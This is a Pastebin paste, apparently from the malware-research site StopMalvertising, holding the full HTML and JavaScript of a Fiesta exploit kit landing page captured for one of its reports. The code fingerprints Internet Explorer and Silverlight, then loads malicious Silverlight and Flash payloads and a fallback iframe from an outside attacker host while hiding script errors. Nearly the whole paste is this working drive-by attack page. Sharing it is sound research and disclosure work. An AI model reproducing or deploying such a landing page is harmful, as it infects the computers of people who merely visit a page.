Advertisement
StopMalvertising

JavaScript to Fiesta EK Landing

Aug 29th, 2014
429
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # JavaScript to Fiesta EK Landing
  2. # http://stopmalvertising.com/malware-reports/fiesta-ek-on-asus-rog-forums-targets-internet-explorer-users.html
  3.  
  4. <!DOCTYPE html><html><head>
  5. <script language="JavaScript">
  6. <!--
  7.  
  8. function SymError()
  9. {
  10.   return true;
  11. }
  12.  
  13. window.onerror = SymError;
  14.  
  15. //-->
  16. </script>
  17. <script src='//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js'></script>
  18. </head>
  19.  
  20. <body>
  21.     <div id="d1"></div>
  22.     <div id="d2"></div>
  23.     <div id="d3"></div>
  24.     <script id="j1">
  25.         function isSilverlightInstalledIE() {
  26.             var isSilverlightInstalled = false;
  27.             try {
  28.                 var slControl = new ActiveXObject('AgControl.AgControl');
  29.                 isSilverlightInstalled = true;
  30.             } catch (e) {}
  31.             return isSilverlightInstalled;
  32.         }
  33.  
  34.         function callback(e) {
  35.             if (e.success) {
  36.                 return;
  37.             }
  38.             if (x < 5) {
  39.                 x++;
  40.                 swfobject.embedSWF(swf, "d1", "20", "10", "8", false, false, {
  41.                     allowScriptAccess: "always"
  42.                 }, false, callback);
  43.                 return;
  44.             }
  45.         }
  46.  
  47.         function reserve() {
  48.             var i = document.createElement('iframe');
  49.             i.setAttribute('src', bad);
  50.             document.body.appendChild(i);
  51.         }
  52.  
  53.         function checkIframe() {
  54.             var container = document.getElementById("i");
  55.             if (container !== null) return true;
  56.             return false;
  57.         }
  58.         var x = 0;
  59.         var dir = 'dsesh4d3';
  60.         var m = Math.random();
  61.         var swf = 'http://rswbi.nidora.asia/' + dir + '/adv.swf?' + m;
  62.         var xap = 'http://rswbi.nidora.asia/' + dir + '/add.xap?' + m;
  63.         var bad = 'http://rswbi.nidora.asia/' + dir + '/bad.php?' + m;
  64.         var DOMReady = function(a, b, c) {
  65.             b = document, c = 'addEventListener';
  66.             b[c] ? b[c]('DOMContentLoaded', a) : window.attachEvent('onload', a);
  67.         };
  68.         DOMReady(function() {
  69.             var check = false;
  70.             if (navigator.userAgent.match(/Trident|MSIE/i) === null) return;
  71.             if (isSilverlightInstalledIE() && document.cookie.indexOf("xap") === -1) {
  72.                 var date = new Date(new Date().getTime() + 172800000);
  73.                 document.cookie = "xap=try; path=/; expires=" + date.toUTCString();
  74.                 var div = document.createElement('div');
  75.                 div.innerHTML = '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" height="300" width="300"><param name="source" value="' + xap + '"><param name="enableHtmlAccess" value="true"></object>';
  76.                 document.body.appendChild(div);
  77.             }
  78.             window.setTimeout("check=checkIframe()", 3000);
  79.             if (check !== false) return;
  80.             swfobject.embedSWF(swf, "d1", "20", "10", "8", false, false, {
  81.                 allowScriptAccess: "always"
  82.             }, false, callback);
  83.             window.setTimeout("check=checkIframe()", 3000);
  84.             if (check !== false) return;
  85.         });
  86.     </script>
  87. </body>
  88.  
  89. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement